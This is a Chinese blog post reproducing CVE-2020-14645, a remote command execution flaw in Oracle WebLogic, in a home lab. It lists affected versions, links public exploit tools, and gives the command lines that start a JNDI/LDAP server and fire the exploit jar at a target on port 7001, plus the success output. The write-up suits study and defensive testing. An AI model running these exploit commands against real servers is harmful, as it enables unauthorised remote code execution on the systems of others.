(CVE-2020-14645)Weblogic远程命令执行漏洞复现
影响版本
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
漏洞复现工具
JNDI-Injection-Exploit
https://github.com/welk1n/JNDI-Injection-Exploit
CVE-2020-14645漏洞测试工具
https://github.com/DSO-Lab/defvul
因为电脑上缺少maven的编译工具,所以我使用的是IDEA自带的maven工具
工具准备
1.JNDI-Injection-Exploit-master
使用IDEA打开项目
选择右侧的maven工具栏,按下图进行点击,将从git上下载的文件java源码使用maven编译为jar文件
编译成功,红色框为文件输出位置
2.CVE-2020-14645_Weblogic
使用idea打开项目,进行编译
实验环境
java jdk 1.8
https://mega.nz/file/1KIhjSCR#g0s5jekk3F9t55o3WXK_ahozuqn9_60eKSKt70we_uw
WebLogic 12.2.1.4
https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
windows server 2012 (别人拷我的,链接就不放了)
实验环境搭建
1.Java jdk安装
将下载好的文件拖到虚拟机中,双击运行安装即可
2.WebLogic 12.2.1.4安装
使用Java -jar命令运行jar文件,如果提示不是有效的jdk java目录,就将jar文件放置在<JDK>\bin目录下使用java运行(踩了个坑)
一直下一步,勾选自助启动配置向导选项
进入配置向导,创建新域并勾选全部模板
安装完成之后进入域的安装位置,运行startWeblogic.cmd文件
cd C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\
startWeblogic.cmd
浏览器访问http://localhost:7001/console/login/LoginForm.jsp
环境搭建成功!开始正式测试
漏洞复现
1.执行JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar文件,需要占用的8180、1099、1389端口(-A [address]ip为JNDI服务所监听的地址(可以使用0.0.0.0))
使用方式
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C [command] -A [address]
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 192.168.233.135
2.执行CVE-2020-14645_Weblogic.jar文件
使用方式 (LDAP_IP:LDAP_PORT/#Exploit为本机ip监听的1389端口的地址)(第一个ip为本机ip,第二ip为攻击ip,本机ip后面的/#Exploit路径为JNDI-Injection-Exploit-1.0-SNAPSHOT-all生成的路径1389对应的路径)
java -jar CVE-2020-14645.jar LDAP_IP:LDAP_PORT/#Exploit http://<targetIP>:7001
java -jar CVE-2020-14645.jar 192.168.101.209:1389/jqcrvc http://192.168.233.135:7001
提示Send LDAP reference result for 1xnkli redirecting to http://192.168.233.135:8180/ExecTemplateJDK8.class 调用成功
细心的小伙伴应该发现了,搭建环境使用的是2008,主要是懒得重新搭建环境了,就从大佬文章中直接抄袭了,望海涵 参考连接https://blog.csdn.net/suiyideali/article/details/109061125
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】